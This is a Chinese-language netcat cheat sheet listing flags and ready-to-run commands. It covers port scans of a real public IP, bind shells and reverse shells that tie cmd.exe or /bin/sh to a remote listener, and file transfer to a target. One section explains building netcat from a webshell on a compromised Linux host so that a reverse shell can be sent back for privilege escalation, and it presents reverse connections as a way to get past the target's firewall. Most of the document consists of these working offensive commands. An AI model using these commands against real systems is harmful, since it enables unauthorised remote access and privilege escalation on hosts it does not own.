NetCat參數說明:
主要參數:
-c shell commands 與`-e’一樣效果(use /bin/sh to exec )
-e filename 程序重定向
-d 無命令行界面,使用后台模式
-i <延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口;
-l 監聽模式,用於入站連接
-L 監聽模式,連接關閉后仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o <文件名> 記錄16進制的傳輸
-p <端口> 本地端口號
-r 隨機本地及遠程端口
-s <地址> 設置本地主機送出數據包的IP地址
-t 使用Telnet交互方式
-T tos set Type Of Service
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w <數字> timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
一般netcat做的最多的事情為以下三種:
-
掃描指定IP端口情況
-
端口轉發數據(重點)
-
提交自定義數據包
1、掃描常用命令。
以下IP 處可以使用域名,nc會調用NDS解析成IP地址。
nc -v ip port #掃瞄某 IP 的某個端口,返回端口信息詳細輸出。如:nc -v 96.44.174.9 80
nc -v -z ip port-port #掃描某IP的端口段,返回端口信息詳細輸出,但掃描速度很慢。如:nc -v -z 96.44.174.9 80-1024
nc -v -z -u ip port-port #掃描某 IP 的某 UDP 端口段,返回端口信息詳細輸出,但掃描速度很慢。如:nc -v -z -u 96.44.174.9 25-1024
nc -nvv -w2 -z ip port-port #掃錨某IP的端口段,連接超時時間為2秒。如:nc -nvv -w2 -z 96.44.174.9 80-1024
2、監聽端口、連接端口、轉發端口常用命令。
nc -l -p 520 #開啟本機的 TCP 520 端口並監聽次端口的上傳輸的數據。
nc -l -v -p 520 #開啟本機的 TCP 520 端口並將監聽到的信息輸出到當前 CMD 窗口。這個命令也是端口轉發shell的基礎。
nc -l -p 520 > C:/log.dat #開啟本機的 TCP 520 端口並將監聽到的信息輸出到 C:/log.dat 下的日志文件里。
nc -nvv 192.168.1.101 520 #連接到192.168.1.101主機的 520。
- 重點一(正向連接):*
nc -l -p 2012 -t -e C:WINDOWSsystem32cmd.exe #遠程運行
nc -nvv 192.168.1.101 2012 #本地運行
【解釋】采用正向連接方式,遠程主機(注:假設IP地址為 192.168.1.101)上運行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠程主機的 CMD 到2012 端口,當本地主機連接遠程主機成功時就會返回給本地主機一個CMD Shell ;在本地主機上運行 nc -nvv 192.168.1.101 2012 用於連接已經將 CMD 重定向到 2012 端口的遠程主機(注:假設IP地址為 192.168.1.101)。
- 重點二(反向連接):*
nc -t -e C:WINDOWSsystem32cmd.exe 192.168.1.102 2012 #遠程運行
nc -l –vv -p 2012 #本地運行
【解釋】采用反向連接方式,先在本地主機(擁有公網IP)運行 nc -l –vv -p 2012 開啟2012 端口並監聽等待遠程主機連接;在遠程主機上運行 nc -t -e cmd.exe 192.168.1.102 2012 將遠程主機的 CMD 重定向到 IP 地址為 192.168.1.102 端口號為2012 的主機上,連接成功后 IP 地址為 192.168.1.102 的主機會得到一個CMD Shell。
總結:這個情況是最常用的內網端口轉發功能,這樣反彈shell即可執行命令。反向連接就是常用的反彈shell到本地,因為由主機主動發送的情況本地防火牆等設備一般不會去攔截,而正向連接到遠程主機的某端口常常被攔截。
3、提交數據、文件傳輸常用命令
nc -vv IP port < C:/http.txt #提交http.txt內數據包到www.91ri.org的80端口,-vv參數會使速度變慢,但可以跟蹤過程。例如IISput漏洞就可以自定義數據包使用此方法提交。如:nc -vv www.91ri.org 80 < C:/http.txt
nc -v -n ip port < C:/sunzn.exe #本地運行
nc -v -l -p port > D:/sunzn.exe #遠程運行
【解釋】在本地運行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤根目錄中讀取 sunzn.exe 文件的內容,並把這些數據發送到遠程主機的對應端口上(注:命令行中的 IP 為接收文件的遠程主機 IP ),在遠程主機運行 nc -v -l -p port > D:/sunzn.exe 意為監聽對應端口並把接收到的信息數據寫到 D:/sunzn.exe 中,兩行命令實現了文件在本地主機和遠程主機間的傳輸。
傳輸http數據包實例:
Linux環境下netcat使用
好東西肯定需要在不同的環境中都能使用,在linux環境中同樣有着netcat可以使用。主要過程如下:
Linux提權絕大部分都靠的是Local Exploit。WebShell一般都可以執行命令,但是溢出必須在可交互環境運行,否則如果直接在WebShell執行,即使能溢出提權成功,也沒法利用。因此必須要反彈一個Shell命令行窗口,在命令行終端下執行溢出進行提權。
主要步驟:
1、wget一個tar壓縮的nc
Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
2、解壓文件
tar zxvf netcat-0.7.1.tar.gz
3、解壓完畢之后會生成目錄
cd netcat-0.7.1
4、配置環境
./configure
5、配置完了之后就可以編譯了。
make
6、編譯成功就生成了netcat可執行的文件了,位於src目錄,cd進去進行運行./netcat文件就是我們的nc了。
遠程Linux轉發命令
./netcat 8.8.8.8 1234 -e /bin/sh
基本用法:
-
連接到192.168.0.1主機的80端口
nc -nvv 192.168.0.1 80
-
開啟本機的TCP 80端口並監聽
nc -l -p 80
-
掃錨192.168.0.1的80-1024端口
nc -nvv -w2 -z 192.168.0.1 80-1024
-
綁定remote主機的cmdshell在remote的TCP 5354端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe
-
綁定remote主機的cmdshell並反向連接192.168.0.2的5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354
高級用法:
-
開啟並不停地監聽80端口,直到CTR+C為止
nc -L -p 80
-
開啟並不停地監聽80端口,直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 > c:\log.txt 作為蜜罐用2
-
開啟並不停地監聽80端口,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1
-
開啟並不停地監聽80端口,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2
-
開啟並不停地監聽本機端口,直到CTR+C為止
nc -l -p 本機端口
-
在對方 win2000+主機上用:
nc -e cmd.exe 本機IP -p 本機端口
-
linux,unix上,反向連接突破對方主機的防火牆
nc -e /bin/sh 本機IP -p 本機端口
-
本機上用
nc -d -l -p 本機端口 < 要傳送的文件路徑及名稱
-
在對方主機上用
nc -vv 本機IP 本機端口 > 存放文件的路徑及名稱 傳送文件到對方主機
備 注:
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@后面的命令,但不會顯示出來(后台執行);例:@dir c:\winnt >> d:\log.txt 意思是:后台執行dir,並把結果存在d:\log.txt中
“>”與“>>”的區別 :">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。